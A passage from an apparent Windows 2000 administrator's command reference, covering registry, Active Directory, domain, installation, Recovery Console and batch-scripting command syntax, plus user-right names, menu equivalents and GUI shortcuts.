Copy a registry key. Supports /S and /F.
reg delete [\\host \] key [options]
Delete a registry key. Supports /F, /V, /VE, and /VA (delete all values under the
specified value).
reg compare [\\host1\] key1 [\\host2\] key2 [options ] [output-opt]
Compare two registry keys. Use /S to compare two subtrees. Also supports /V and
/VE. The output-opt specifies how differences are reported, and is either /OA (all
info), /OD (only differences), /OS (only matches), or /ON (no output; use return code
for the following results: 0=identical, 2=different, 1=failure).
reg save [\\host \] key file
Save the specified key to the indicated file (operation is automatically recursive).
reg restore [\\host \] key file
Restore the specified registry key from the data stored in the specified file created
with reg save (operation is automatically recursive).
reg export key file [/NT4]
Export a local registry key to a file, using the NT 4 .REG file format if that option is
included (operation is automatically recursive).
reg import file
Import keys in the specified file into the local registry.
reg load [\\host \] key file
Temporarily load keys from file (created with reg save) into the specified temporary
registry key. These keys do not persist across boots.
reg unload [\\host \] key
Unload keys previously loaded at the specified temporary key.
regbackRK
Back up registry hives to disk.
regback directory
Back up all registry files to the specified directory, which must not already contain registry
backup files.
regback file MACHINE | USERS hive
Back up the specified hive to the specified file, where hive is a subtree of
HKEY_LOCAL_MACHINE or HKEY_USERS (as indicated by the preceding keyword).
regdmpRK
regdmp [/m \\system | /h hivefile hiveroot]
Dump the local registry (no option), a remote registry ( /m), or a local registry hive (/h).
regdmp output is suitable to use as input to regini (see more on regini later in this section).
Option
/S
Produce summary output only.
regfindRK
regfind [/m \\system] [options] search-string ^ [/r replacestring]
Perform search or search-and-replace operations in the local registry or in a remote registry.
Options
/p keypath
Begin the search at the specified key location.
/n
Include key and value names in the search. Invalid with /t.
/y
Ignore case when searching.
/z [ /r]
Include string values that are missing a trailing NULL or that have a length that is not
a multiple of the size of a Unicode character. If /r is included with /z, regfind adds
the missing NULLs and adjusts the length of the string value (any replace_string is
ignored).
/t datatype
Limit the operation to data of the specified type (the default is any of the string, _SZ,
types).
/b | /B
Look for the search string inside of binary data. /B searches in both Unicode and
ANSI formats, while /b searches only in the former. Any replacement string must be
the same length as the search string.
reginiRK
regini script-file
Modify the registry according to the instructions in the specified script file. See
W2RKTools.Chm for details.
regrestRK
Restore registry hives that have been backed up with the regback command.
regrest backup-dir save-dir
Replace current registry hives with the information stored in backup-dir, saving the current
registry files into save-dir.
regrest backup-file save-file MACHINE | USERS hive
Restore the specified registry hive from backup-file, saving the current hive to save-file.
Reboot the system for the new data to become active.
scanregRK
scanreg /s search-string item-options [options]
Search the specified registry entities for the specified character string.
Item Selection Options
One or more of these must be specified:
/k
Search key names.
/v
Search value names.
/d
Search value settings (data).
Additional Options
/c
Perform a case-sensitive search.
/e
Require an exact match.
1.17 Active Directory and Domain Management Commands
acldiag
acldiag object-dn [options]
Display access control information for the Active Directory object (specified by its
distinguished name).
Options
/GETEFFECTIVE:name
Display effective rights for the specified user or group. An asterisk for name displays
the entire ACL.
/TDO
Generate output in a tab-delimited format.
See the command help for other options.
auditpolRK
auditpol [\\server] /Enable | /Disable [options]
Enable or disable security auditing on the local system or on the specified computer.
Option
/category : type
Specify events to audit. category is either system, logon, object, privilege, policy, or
sam. type is either success, failure, all (i.e., both), or none.
browstat
browstat [options]
Manage the network browsing infrastructure.
Options
DN
Display the list of transports bound to the browser. Use this option to determine the
canonical name of the transport in which you are interested.
EL protocol domain
Force a master browser election in the specified domain and network transport
protocol.
GB protocol [domain] [refresh]
Retrieve a list of backup browsers in the specified domain for the specified transport
protocol.
GM protocol domain
Display a browser master for the specified domain.
GP transport domain
Display a PDC name for the specified domain.
WFW domain
List the Windows for Workgroups computers that are running the browser.
STS [\\server] [clear]
Display browser status for the specified server (defaults to the local system). Adding
clear says to clear all counters.
STA [-v] workgroup
Display browser status for the specified workgroup, with optional verbose output.
TIC transport domain
Stop the master browser for the specified domain.
VW transport domain | server [/domain]
View the browser list for a specified server or domain. By default, servers are listed;
include the /domain option to view the domain list instead.
csvde, ldifde
csvde [options]
ldifde [options]
Import /export data to/from the Active Directory via an LDIF (ldifde) or comma-separated
value (csvde) format text file.
Options
/B user domain password
Specify the domain and user context for the command.
/I
Perform an import operation (export is the default).
/F file
Specify the name of the import or export file.
/S server
Specify the system on which to perform the import /export.
/T port
Specify the communication port (the default is 389 for LDAP and 3268 for the global
catalog).
/D starting-dn
Specifty the distinguished name of the starting point for an export operation.
/P scope
Set the scope for an export operation: ONELEVEL, BASE, or SUBTREE (the
default).
/R filter
Set a filter to limit exported data, in standard LDAP format.
/L attribute-list
Provide a comma-separated list of attributes to export for matching records.
/O attribute-list
Provide a comma-separated list of attributes to exclude from the export.
/M
Omit the Active Directory-specific attributes from an export.
/N
Omit binary values.
/C old new
Transform data, changing all instances of the first string to the second string. For
example, this can be used to change the domain name or other global data within all
records.
/V
A verbose command output.
/J path
Set the log file location.
/G
Do not perform paged searches.
/K
Continue processing on errors.
dcdiag
dcdiag /S:server [options]
Test various aspects of the normal functioning of the specified domain controller, including
network connectivity, DNS registration, replication success and timeliness, and any similar
issues.
Options
/U:domain \user /P: password | *
Specify the authentication credentials. An asterisk for the password causes a
password prompt to be issued.
/TEST:list | /SKIP: list [/C]
Specify which tests to run. /TEST indicates a specific list of tests to run, while /SKIP
indicates a list of tests to skip (all others are performed). In either case, /C says to
extend the test set to include some optional tests. See the online command help for
the complete list of tests.
/A | /E
Test all servers in the entire site/enterprise, respectively.
/Q | /V [ / I]
Quiet/verbose mode. / I ignores "superfluous error messages."
/F: file1 /FERR: file2
Specify an output file for output and fatal error output. The files must be different if
both are used.
dsacls
dsacls object-dn [options]
Manipulate ACLs on an Active Directory object, which is specified by its distinguished name,
and optionally preceded by a specific server name. Without options, the command displays
the ACL for the specified object.
Options
/A
Display ownership and auditing data as well as permissions.
/D | /G user-or-group-list : permissions
Deny/grant the specified permissions to the indicated users orto the specified groups.
Names are in the form name @domain or domain\name.
permissions have a complex syntax (see W2RKSupp.Chm for full details). In their
simplest form, they are specified as a concatenated list of two-character permission
bit codes, as follows: GR (generic read), GE (generic execute), GW (generic write),
GA (generic all), SD (delete), DT (delete tree: object plus children), RC (read
security data), WD (modify security data), WO (change ownership), LC (list
children), CC (create child object), DC (delete child object), WS (write to self ), RP
(read property), WP (write property), CA (control access), and LO (list access).
/R user-or-group-list
Remove all entries for the specified users and groups.
/N
Replace the current ACL on the object rather than editing it.
/P [y | n]
Set the object's protection flag to the specified value (if none is specified, retain the
current setting).
/I: c
Specify the permission inheritance, which is either t (propagate to object and all
subjects), p (propagate one level only), or s (propagate to subobjects only).
/S [ /T]
Restore the security on the object to the default for its object class, as defined in the
schema. /T says to recursively restore default security to a tree of objects.
dsastat
dsastat /S:server;server:[port] options
Compare AD replicas. Options specify the type and scope of the comparison to perform
among the servers specified to /S. Server names may include an alternate port number (the
default is the LDAP port, 389).
Options
/B: starting-point-dn
Limit the comparison to the AD subtree rooted at the indicated object, which is
specified via its distinguished name.
/Filter: ldap-filter
Filter objects in the comparison based on the specified filter given in standard LDAP
search syntax; the default is "(objectclass=*)".
/Scope: BASE | ONELEVEL | SUBTREE
Set the depth of the tree to compare (specify object only, one level down, and the
entire subtree, respectively). The default is SUBTREE.
/T:true | false
If true, perform a full-content comparison of the AD trees. By default (which is
false), compare only object statistics.
/Sort:true | false
If true, sort objects by GUID. This speeds up a full-content comparison. (The default
is false.)
/P: size
Set the number of entries to return per query page. The default is 64. Decrease this
value for large objects with many specified attributes (e.g., user accounts). The
allowed range is 1-999.
/LogLevel: INFO | TRACE | DEBUG
Specify output verbosity (keywords are in increasing order). The default is INFO.
/Output: SCREEN | FILE | BOTH
Send comparison output to the screen, either to a file (named dsastat.log.nnnn), or to
both locations. The default is SCREEN.
[/U:user [ /P: password]] [/D:domain]
Specify a username, password, and/or domain for the command-execution context.
dumpfsmosRK
dumpfsmos domain-controller
Display the names of the domain controllers associated with each of the Flexible Single
Master Operation (FSMO) roles.
gpolmigRK
gpolmig file [options]
Migrate the Windows NT 4.0 system policy to Windows 2000. The specified file is a saved
system policy file (.pol).
Options
/list
Display the Windows NT 4.0 policies in the specified file.
/listgpo
List import-ready Group Policy Objects (GPOs).
/migrate type name gpo
Migrate the named policy of the specified type (user, computer, or group) to the
specified GPO.
gpotoolRK
gpotool [/domain: domain] [/dc:list] [options]
Validate or manipulate Group Policy Objects.
Options
/gpo: list
Limit the validation to the comma-separated list of GPOs, specified by GUID or the
name selected when they are created.
/new:names
Create new GPOs with the specified names.
/del:names
Delete the listed GPOs, specified by name.
gpresultRK
gpresult [options]
Display the effective Group Policy settings (i.e., the RSOP) for the current user and /or for the
local system.
Options
/V | /S
Request verbose- or super-verbose output. Verbose mode is recommended.
/C | /U
Limit the display to computer or user settings.
guid2objRK
guid2obj guid [/server:server | /site:site]
Display the Active Directory object corresponding to the specified globally-unique identifier
(GUID). The options specify a particular server or site to query (the default is the nearest
global catalog server).
klistRK
klist tickets | tgt | purge
List Kerberos ticket information (current tickets, or the ticket-granting ticket) or purge all
cached tickets.
ksetup
ksetup options
Configure a Windows 2000 client to use an MIT Kerberos server.
Options
[/Domain domain] [/Server server]
Specify the applicable domain and/or the server name for the command.
/SetRealm DNS-domain
Specify the desired Kerberos realm.
/MapUser kname name
Map the specified Kerberos principal to a local name.
/AddKDC | /DelKDC realm kdcname
Add /delete a KDC address for the specified realm.
/AddKPasswd | /DelKPasswd realm server
Add /remove a designated Kerberos password server.
/ChangePassword old new
Change the current user's password via Kpasswd. Requires /Domain.
/SetComputerPassword passwd
Set the password for the local computer.
ktpass
ktpass /Out file /Princ user /Pass pass | * ^ /MapUser
[/Crypto DES-CBC-MD5]
Generate a Kerberos keytab file for MIT Kerberos interoperability (designed to be merged
with the existing /etc/krb5.keytab file on the Unix system). The main purpose of this
command is to create account mappings for Unix Kerberos-aware services, enabling them to
use the Windows 2000 KDC.
The listed options specify the name of the output file as well as the Kerberos principal
username and password (use an asterisk to prompt for the password). /MapUser says to
create the Kerberos principal-to-local-account mapping, associating that user account with the
Unix service corresponding to the given Kerberos principal name. The listed /Crypto option
changes the encryption scheme from CRC to MD5.
The command has additional options and capabilities; see W2RKSupp.Chm for details.
movetree
movetree /action /S server /Sdn source-dn /D server ^ /Ddn
dest-dn
Move an Active Directory object tree between domains within the same forest. The command
indicates that the specified subtree on the specified server is to move to the indicated server
and tree location. Servers must be specified with fully qualified domain names.
Action is either /Check (preview the move without actually moving), /Start (begin the move
operation after a preliminary check operation), /StartNoCheck (start the move without
checking first), or /Continue (resume a previous move operation).
See W2RKSupp.Chm for details and restrictions.
Options
/Verbose
Give more detail in the command output.
/U [domain\]user /P password
Run the command in the specified user context.
netdiag
netdiag [options]
Test various aspects of network connectivity for the local server.
Options
/D: domain
Connect to a domain controller in the specified domain (the default is the local
domain).
/TEST: list | /SKIP: list [ /C]
Specify which tests to run. /TEST takes a specific list of tests to run, while /SKIP
takes a list of tests to skip (all others are performed). In either case, /C says to extend
the test set to include some optional tests. See the online command help for the
complete list of tests.
/Q | /V | /DEBUG
Quiet /verbose/super-verbose output mode.
/L
Log results to the file NetDiag.Log in the current directory.
/DcAccountEnum
List the domain controller computer accounts.
/FIX
Fix minor problems encountered, as applicable.
netdom
netdom action [options]
Manage Windows NT/2000 domains and trust relationships.
Common Options
/D: domain [ /Ud: [ domain\] user /Pd: pwd | *]
Specify the target domain, and optionally specify a username and password for
authentication. (* says to prompt for the password.)
/Uo: [ domain\]user /Po: pwd | *
Specify a username and password for authentication upon the domain specified as the
object of the action keyword. (* says to prompt for the password.)
/S: server
Operate upon the specified domain controller.
/V
Verbose command output.
Available Operations
netdom join computer /D: domain [ /OU:ou-dn] [ /Reb: [ s ]]
Cause the specified computer to join the indicated domain and organizational unit,
specified by distinguished name. /DC says to make the system a domain controller,
and /Reb causes a reboot on the affected computer s seconds after the operation
completes (the default is 20 seconds).
The add keyword may be used in place of join to create the computer account in the
target domain without actually joining. The option /DC may be added to create a
domain controller account.
netdom move computer /D: domain [ /OU:ou-dn] [ /Reb:[ s ]]
Move the specified computer to join the indicated domain and organizational unit,
specified by distinguished name. /DC says to make the system a domain controller,
and /Reb causes a reboot on the affected computer s seconds after the operation
completes (the default is 20 seconds).
netdom rename computer /D: domain [ /Reb: [ s ]]
Change the name of a Windows NT 4 BDC computer.
netdom remove computer /D: domain [/Reb: [ s ]]
Remove a workstation or member server from a domain (not valid for a domain
controller).
netdom verify | reset computer /D: domain [ /Reb:[ s ]]
Verify or reset (respectively) the secure connection between a domain member and a
domain controller.
netdom query item /D: domain [/Verify] [ /Reset]
Obtain information about the specified domain. item can be either Workstation,
Server, DC, OU, Trust (display list of items of the specified type), PDC (display the
primary domain controller), or FSMO (display FSMO owners). Trust accepts the
/Direct option, which says to limit the list to directly established trust relationships,
excluding implied ones.
/Verify says to verify the functioning of the secure channel used for trusts. /Reset
says to resynchronize that connection.
netdom time [system] /D:domain /Verify | /Reset [who]
Verify/reset (respectively) time synchronization within the specified domain, with
respect to the time master. If a specific system is given, then the command is limited
to that computer. who is either Workstation or Server, and it indicates whether
workstations/standalone servers or domain controllers should be verified or
synchronized.
netdom trust trusting-domain /D: trusted-domain [options]
Manage trust relationships. Options control the specific actions and are mostly selfexplanatory:
/Add, /Remove [/Force], /Verify, and /Two-Way. Trusts can also be
established with non-Windows Kerberos domains via the following options: /Add,
/Realm, /PasswordT: pwd (password for new trust), and /Transitive (off by default
for non-Windows domains). /Kerberos can be added to /Verify commands to
exercise this protocol with non-Windows domains.
nltest
nltest [options]
Perform various domain administration tasks. This command overlaps with netdom
considerably. Only its unique, most useful features are listed here; see W2RKSupp.Chm for
additional features.
Options
/Server: system
Run the command on the specified computer.
/Repl | /Sync
Immediately force a partial or full synchronization of the local system or the domain
controller specified to /Server.
/SC_Change_Pwd: domain
Change the secure channel password for the specified domain.
/DSGetDC: domain
Display detailed information about the specified domain controller.
/DSGetSite
Display the name of the current site.
search.vbs
[cscript] search.vbs LDAP://dist-name [options]
Search the Active Directory. The required argument is the distinguished name of the point at
which to begin the search, preceded by LDAP://. (cscript is not needed if it is the default
WSH engine.)
Options
/C: criteria
Specify search criteria (in standard LDAP format). The default is
"(ObjectCategory=*)".
/S: scope
Set the depth of the search to either BASE, ONELEVEL (the default), or SUBTREE.
/P: props-to-display
Display the specified object properties (the default is AdsPath).
/U:user /P: pwd
Specify the username and password for authentication.
secedit
secedit /action [options]
Verify or refresh system security and manipulate security templates. (In this text, we consider
only the former functionality; see the ntbooks documentation for details.) The /action option
specifies the operation to perform.
secedit /RefreshPolicy Machine_Policy | UserPolicy ^
[/Enforce]
Reapply computer or user security settings to all Group Policy Objects. /Enforce forces the
refresh even if the settings have not changed.
secedit /Export /Cfg template-file [/Areas list] ^
[/MergedPolicy][/Log file] [/Verbose | /Quiet]
Export security policy settings (merging domain and local policies if /MergedPolicy is
included) to template-file, limiting settings to the space-separated list of specified areas
(SecurityPolicy, Group_Mgmt, User_Rights, RegKeys, FileStore, Services), if applicable.
secedit /Analyze /Cfg template-file /DB newfile.sdb ^
/Log file [/Verbose| /Quiet]
Compare current system security settings to those stored in the specified template file,
sending the results to the specified log file. In this case, the /DB option specifies the name of
a new security database file to create and use to perform the analysis; the settings in the
specified template file are imported into it for this purpose.
secedit /Configure /Cfg template-file /DB file.sdb^
[/Areas list][/Overwrite] [/Log file] ^
[/Verbose | /Quiet]
Apply the template stored in the specified file to the system, limiting settings to the specified
areas, if applicable. The database file is again used as the source of the settings to apply; the
template file is appended to any existing settings in it (or overwrites it if that option is
included) automatically.
secedit /Validate template-file
Validate the syntax of the specified template file.
Common Options
/Log file
Specify the location of the command's log file, in which detailed results are written.
/Verbose | /Quiet
Specify extra-detailed or minimal command output. All data is still written to the log
file, regardless of these options.
1.18 Installation-Related Commands
instalerRK, showinstRK, undoinstRK
instaler basename setup-command
showinst basename
undoinst
instaler performs and monitors an installation procedure. This command records all system
changes that result from the specified installation process in the file basename.log; this file
can be viewed using the showinst utility. instaler also creates the file basename.iml for use
by undoinst to remove the installed software.
netsetRK
netset answer-file
Set various networking parameters, as specified in the answer file. See W2RKTools.Chm for
details.
sysdiffRK
sysdiff /action arguments
Record or apply system differences.
Options
/Snap snap-file
Record the current computer state for later comparison. After executing this
command, perform the operations whose effects you want to record.
/Diff snap-file diff-file
Compare the current system state to the one in snap-file, and record the differences in
diff-file.
/Dump diff-file text-file
List the differences in diff-file in the specified text file in a readable form.
/Apply [/M] diff-file
Apply the changes in the specified file to the current system, optionally mapping any
user profile files to the default user.
/Inf [/M] diff-file install-dir
Apply the changes in the specified file to the installation directory rooted at installdir,
optionally mapping any user profile files to the default user.
sysprepRK
sysprep [options]
Prepare the local system for cloning (i.e., copying to multiple target systems via automated
disk duplication). sysprep genericizes the system suitable for multiple deployment. See
W2RKTools.Chm for details.
Be sure to download the updated version of sysprep from the Microsoft web site (Version 1.1
as of this writing).
winnt
winnt [options]
Install (or upgrade) Windows 2000. This command is most suitable for clean installs. See the
Deploy.Chm and Unattend.Doc help files for details on answer files and UDF files.
Use winnt32 to upgrade from older operating systems; see the ntbooks documentation for
details.
Options
/S: fullpath
Specify the location of the Windows 2000 installation files.
/T:drive
Indicate which drive to use for temporary files.
/U:answer-file [/UDF:id, file]
Point to the answer file for an unattended installation, along with the optional
Uniqueness Database file and the desired ID that identifies the section to use with the
latter file for this installation.
/R: folder | /RX: folder
Specify an optional folder to install, which is retained /deleted after completion,
respectively.
/E:command
Indicate the command to run at the end of the GUI setup process.
1.19 The Windows 2000 Recovery Console
The Recovery Console facility allows Windows 2000 to boot into a limited, console-based
mode suitable for repairing damaged systems and configurations. It can be entered by booting
from the Windows 2000 distribution CD, and it may be installed on the boot menu with the
following command (where x : is the CD-ROM drive):
x :\I386\Winnt32.Exe /cmdcons
The Recovery Console supports the following standard Windows 2000 commands: attrib,
batch, cd, chkdsk, cls, copy, delete, dir, expand, format, help, mkdir, rename, rmdir, and
type. However, few or no options are supported for any of them, and their functioning has
been simplified. For example, copy can only copy a single file. In addition, the following
Recovery Console-specific commands are available:
enable service-or-driver[start-type]
Enable/start the specified service or device driver; start-type sets the startup attribute
for the service/driver, either SERVICE_BOOT_START (start driver at system boot),
SERVICE_SYSTEM_START (start driver during power-up boot),
SERVICE_AUTO_START (start service at system boot),
SERVICE_DEMAND_START (manual service startup), or SERVICE_DISABLED
(service is disabled).
disable service-or-driver
Disable system service or device driver.
diskpart /delete | /add device
Manage hard drive partitions, where the options perform the associated action. The
device may be specified as a drive letter or as a device name (see the map command
output for the format).
exit
Terminate the Recovery Console and reboot the system.
fixboot [x :]
Write a new partition boot sector on the system partition of the specified drive
(defaults to the system drive).
fixmbr [device]
Write a new master boot record onto the specified disk (default to the system disk).
The device is specified as \Device\HardDiskn.
listsvc
List the available services and device drivers.
logon
Select a Windows 2000 installation to access.
map [arc]
Display all drive letters to full device name mappings. If arc is included, devices are
specified as ARC paths.
systemroot
Set the current directory to the Windows 2000 system directory.
set [var [=value]]
Set the environment variable values. By default, this command is disabled. To enable
it, the following Group Policy setting must be enabled: Local Computer Policy
Computer Configuration Windows Settings Security Settings Local
Policies Security Options Recovery Console Allow copy to floppy and
access to all drives and folders. When this is set to 1, use the set command during a
Recovery Console session to enable various features by setting the following
variables to true:
AllowWildCards
Allow wildcards in file specifications.
AllowAllPaths
Access files and directories in nonsystem partitions.
AllowRemovableMedia
Allow file copies to removable media (by default, files can only be copied from such
media).
NoCopyPrompt
Suppress file overwrite prompts.
1.19.1 Creating an Emergency Repair Disk
Use the Windows 2000 Backup facility (the ntbackup command), and select the Tools
Create an Emergency Repair Disk menu path.
1.20 Command Equivalents for Program Menu Items
Note: not all items are present on all systems. Daggered items may not be located in the
default search path:
Menu Item Command
Administrative Tools Menu
Active Directory Domains and Trusts domain.msc
Active Directory Migration Tool admtagnt
Active Directory Sites and Services dssites.msc
Active Directory Schema Manager schmmgmt.msc
Active Directory Users and Computers dsa.msc
Backup ntbackup
Certification Authority certsrv.msc
Cluster Administration cluadmin
Component Services comexp.msc
Computer Management compmgmt
Configure Your Server cmak
Connection Manager Administration cmak
Data Sources (ODBC) odbcad32
DHCP dhcpmgmt.msc
Distributed File System dfsgui.msc
DNS dnsmgmt.msc
Domain Controller Security Policy dcpol.msc
Domain Security Policy dompol.msc
Event Viewer eventvwr
Indexing Service ciadv.msc
Internet Authentication Service ias.msc
Internet Services Manager iis.msc
License Manager llsmgr
Local Security Policy secpol.msc
Network Monitor netmon
Performance Monitor perfmon
QoS Admission Control acssnap.msc
Remote Storage rsadmin.msc
Removable Storage ntmsmgr.msc
Routing and Remote Access rrasmgmt
Server Manager srvmgr
Task Manager taskmgr
Telephony tapimgmt.msc
Telnet Server Administration tlntadmn
Terminal Server Manager tsadmin
Terminal Services Client mstsc
Terminal Services Client Connection Manager conman
Terminal Services Licensing Manager licmgr
User Manager for Domains (NT4) usrmgr
Windows 2000 Diagnostics winmsd
WINS winsmgmt.msc
Windows 2000 Support Tools Menu
Active Directory Administration Tool ldp
Active Directory Replication Monitor replmon
ADSI Edit adsiedit
Application Compatibility Tool apcompat
Command Prompt cmd
Dependency Walker depends
DiskProbe dskprobe
Global Flags Editor gflags
Process Viewer pviewer
Security Administration Tools sidwalk.msc
SNMP Query Utility snmputilg
Windiff windiff
Veritas Software Menu
VERITAS Discover discoz
VERITAS Software Console seasw
Other Useful Commands
NT4 User Manager for Domains usrmgr
Active Directory Install Wizard (Change Server Role) dcpromo
Open Control Panel Folder control
Registry Editor regedt32
Generic MMC Console mmc
Remote Boot Disk Generator rbfg
IP Security Monitor ipsecmon
Verify System File Signatures sigverif
1.21 User Rights and System Privileges
Right/Privilege Internal Name
Access this computer from a network SeNetworkLogonRight
Act as part of the operating system SeTcbPrivilege
Add workstations to a domain SeMachineAccountPrivilege
Back up files and directories SeBackupPrivilege
Bypass traverse checking SeChangeNotifyPrivilege
Change the system time SeSystemTimePrivilege
Create a pagefile SeCreatePagefilePrivilege
Create a token object SeCreateTokenPrivilege
Create permanent shared objects SeCreatePermanentPrivilege
Debug programs SeDebugPrivilege
Deny access to this computer from the network SeDenyNetworkLogonRight
Deny local logon SeDenyInteractiveLogonRight
Deny logon as a batch job SeDenyBatchLogonRight
Deny logon as a service SeDenyServiceLogonRight
Enable computer and user accounts to be trusted for delegation SeEnableDelegationPrivilege
Force shutdown from a remote system SeRemoteShutdownPrivilege
Generate security audits SeAuditPrivilege
Increase quotas SeIncreaseQuotaPrivilege
Increase scheduling priority SeIncreaseBasePriorityPrivilege
Load and unload device drivers SeLoadDriverPrivilege
Lock pages in memory SeLockMemoryPrivilege
Log on as a batch job SeBatchLogonRight
Log on as a service SeServiceLogonRight
Log on locally SeInteractiveLogonRight
Manage Auditing and Security logs SeSecurityPrivilege
Modify firmware environment values SeSystemEnvironmentPrivilege
Profile a single process SeProfileSingleProcessPrivilege
Profile system performance SeSystemProfilePrivilege
Remove computer from docking station SeUndockPrivilege
Replace a process-level token SeAssignPrimaryTokenPrivilege
Restore files and directories SeRestorePrivilege
Shut down the system SeShutdownPrivilege
Synchronize directory service data SeSynchAgentPrivilege
Take ownership of files or other objects SeTakeOwnershipPrivilege
1.22 Script-Related Constructs
:label
The named location within the script (target of the goto or call command).
%m
The argument number m. (Access arguments above the ninth one via the shift
command.)
%~cm
The modified argument m, where c can be one or more of the following code letters,
which indicate the parts of the argument to use:
f:
Full pathname.
d:
Drive letter only.
p:
Path only.
n:
Filename only.
x:
Extension only.
s:
Use 8.3 names (valid with n and x).
$PATH:
Examines the search path in the PATH environment variable and returns the fully
qualified pathname for the first match for the argument. Returns an empty string if the
item is not found.
%*
Corresponds to all command parameters.
%var %
Value of variable var (local or environment).
errorlevel
An internal variable set by various commands that often indicates contents of user
input (see the discussion of the if command in the next section).
1.23 Commands Useful in Scripts
call
call file | :label [args]
Run the specified external script file or labeled subroutine within the current script.
choiceRK
choice [/C:choices] [/S] [/T:c,n] prompt-string
Prompt user to select from a list of choices, using the specified string as the prompt text. Sets
the ERRORLEVEL variable to the selected choice number (starting at 1).
Options
/C: choices
Specify choice letters (the default is YN).
/S
Make choices case-sensitive.
/T: c,n
Select default choice c after a timeout of n seconds.
cls
cls
Clear the screen.
echo
echo message
Display the specified message text on screen. message may not be null. (A string consisting
solely of a period at the right margin is the conventional way to create a "blank" output line.)
echo ON | OFF
Enable or disable command echoing (it is enabled by default).
exit
exit
Terminate a script immediately, or terminate the current command interpreter if it is executed
interactively. (See also goto :EOF.)
for
Loop construct.
for [/D] %var% in (filelist) do command
Loop over a list of files. The specified variable is set to each successive item in the file list
each time it goes through the loop.
/D says to match directory names in filelist only.
for /L %var% in (m,j,n) do command
Loop from m to n by j, using the specified variable as the loop index.
forfilesRK
forfiles [selection-options] [-c"command"]
Perform a command on each file in a list. (The default action is to display the filename.)
Options
-c "command "
Specify the command to execute. The following case-sensitive constructs are
available for use within commands:
@FILE Current filename
@FNAME_WITHOUT_EXT Bare filename
@EXT File extension
@PATH Directory location of fil
@RELPATH Directory location of file, relative to the current directory
@ISDIR TRUE /FALSE as appropriate
@FSIZE File size
@FDATE File modification date:yyyymmdd
@FTIME File modification time:hhmmss
The default command is cmd /c echo @FILE.
-pdir
Specify the directory location at which to start the search (the default is the current
directory).
-m string
Select the files matching the specified string, which may contain wildcards (the
default is *.*).
-d+ |-ddmmyyyy | n
Select the files last modified on the specified date, or before (-) or after (+) it. If a
number is given instead of a date, select the files modified (-)/not modified (+) within
the last n days.
-s
Recurse subdirectories.
-v
Verbose output mode.
freediskRK
freedisk x: min-bytes
Set %ErrorLevel% to 1 if the amount of free space on the specified drive is less than the
indicated minimum size requirement.
gettypeRK
gettype [\\server] [/S]
Set %ErrorLevel% to a value indicating the operating system running on the local /specified
system [1=Windows NT Workstation, 2=Windows 2000 Professional, 3=Windows NT Server
(non-DC), 4=Windows 2000 Server (non-DC), 5=Windows NT domain controller,
6=Windows 2000 DC, 7=Windows NT Enterprise/Terminal Server (non-DC), 8=Windows
NT Enterprise/Terminal Server (DC)].
/S suppresses command output.
goto
goto label
Jump to the named location in the script.
goto :EOF
Jump to the end of the current script file.
if
A conditional command. In all cases, including the not keyword, it inverts the logical
expression.
if [not] errorlevel n command
Execute command if the value of the ERRORLEVEL variable is /isn't greater than or equal to
n.
if [not] defined variable command
Execute command if the specified variable is /isn't defined.
if [not] exist file command
Execute command if the specified file does/doesn't exist.
if [not] [/I] string1 op string2 command
Execute command if the specified string comparison expression is true/false. The available
operators are:
== | EQU
Equal.
NEQ
Not equal.
LSS
Less than.
LEQ
Less than or equal.
GTR
Greater than.
GEQ
Greater than or equal.
All operators are case-sensitive. /I says to perform a case-insensitive comparison.
ifmemberRK
ifmember groups
Set %ErrorLevel% to 1 if the current user is a member of any of the specified groups.
Options
/Verbose
Display all group membership matches.
/List
List all groups of which the current user is a member (the group list is ignored).
pause
pause
Pause execution until the user presses a key.
prompt
prompt text
Set the command prompt to text, which can contain the following codes, among others (see
prompt /? for more information):
$D, $T
Current date, current time.
$G
Greater than sign (>).
$N
Current drive letter.
$P
Current drive and working directory.
$S
Space.
$_
Carriage return.
rem
rem anything
Comment line, ignored by the command interpreter.
set
Display/set a variable value.
set [var]
Display the value of the specified variable (or of all defined variables).
set var=string
Set the value of a string variable.
set /A var=numeric-expression
Set the variable to the result of the evaluated numeric expression.
setlocal. . .endlocal
setlocal begins a local environment within the script, which is terminated by endlocal.
shift
shift [/n]
Shift script or command arguments down one place, starting at argument n (if specified).
sleepRK
sleep secs
Pause script execution for the specified time period.
timeoutRK
timeout secs
Wait for the indicated number of seconds; -1 says to wait for a keystroke.
waitforRK
waitfor [-t timeout] signalname
Wait for the specified signal, optionally timing out after the specified number of seconds.
waitfor -s signalname
Send the specified signal.
1.24 Windows 2000 GUI Tips and Tricks
1.24.1 Using the Mouse
Shift-click (on items)
Select a range of adjacent items.
Control-click (on items)
Select multiple, but not necessarily adjacent, items.
Shift-click (in window close box)
Close the window and its parents.
Right-click (on item)
Bring up the item's shortcut menu (this includes its Properties). Pressing Alt-Enter
performs the same function for a selected item.
Shift-right-click (on an already selected item)
Include "Open with" selection in the item's shortcut menu.
Alt-double-click (on item)
Open the item's Properties. Pressing Alt-Enter when the item is selected does the
same thing.
Control-double-click (on folder)
Reverse the "always open new folder" browsing option setting.
Shift-double-click (on folder)
Open the folder in Explorer view instead of the normal browsing view.
1.24.2 Keyboard Shortcuts
Control-Tab, Control-Shift-Tab
Move between the tabs in a multipanel dialog box, in forward and reverse order,
respectively.
Backspace (when browsing)
Move up one directory level.
Ctrl-Esc
Bring up the Start menu.
F3 (desktop only)
Start the Find Files or Folders facility.
Shift-Delete (selected items)
Bypass the Recycle Bin for the currently selected files. You can also make this the
default behavior by right-clicking on the Recycle Bin and modifying its Properties.
Win-R
Open the Run dialog box.
Win-F
Open the Find Files or Folders facility.
Win-E
Open Windows Explorer.
Win-M
Minimize all currently open windows.
Win-Shift-M
Undo a Win-M operation.
Win-Break
Open the System Properties dialog box.
Win-U
Open the Accessibility Options Manager.
Win-x
Select the desktop items whose names begin with the specified letter in turn, when
that key combination is not already defined.
1.25 Useful Windows 2000 Web Sites
1.25.1 Site Lists
• http://dir.yahoo.com/Computers_and_Internet/Software/Operating_Systems/Window
s/Windows_NT/andWindows_2000/
• http://www.netmation.com/listnt.htm
1.25.2 Windows 2000 Information
• http://www.microsoft.com/windows2000/ (this is the official Microsoft site).
• http://www.ntsecurity.net (where to find security information, from the Windows
2000 Magazine).
• http://www.winntmag.com (this contains information on available hot fixes, plus the
latest Windows 2000-related news).
• http://support.microsoft.com/ (this is the search page for the Microsoft Knowledge
Base).
You may also go directly to the article Qnmopqr via the following path:
http://support.microsoft.com/support/kb/articles/qnmo/p/qr.htm (note that n may be
omitted).
1.25.3 Software Archives
• http://www.microsoft.com/windows2000/downloads/ (where Service Packs and hot
fixes are available).
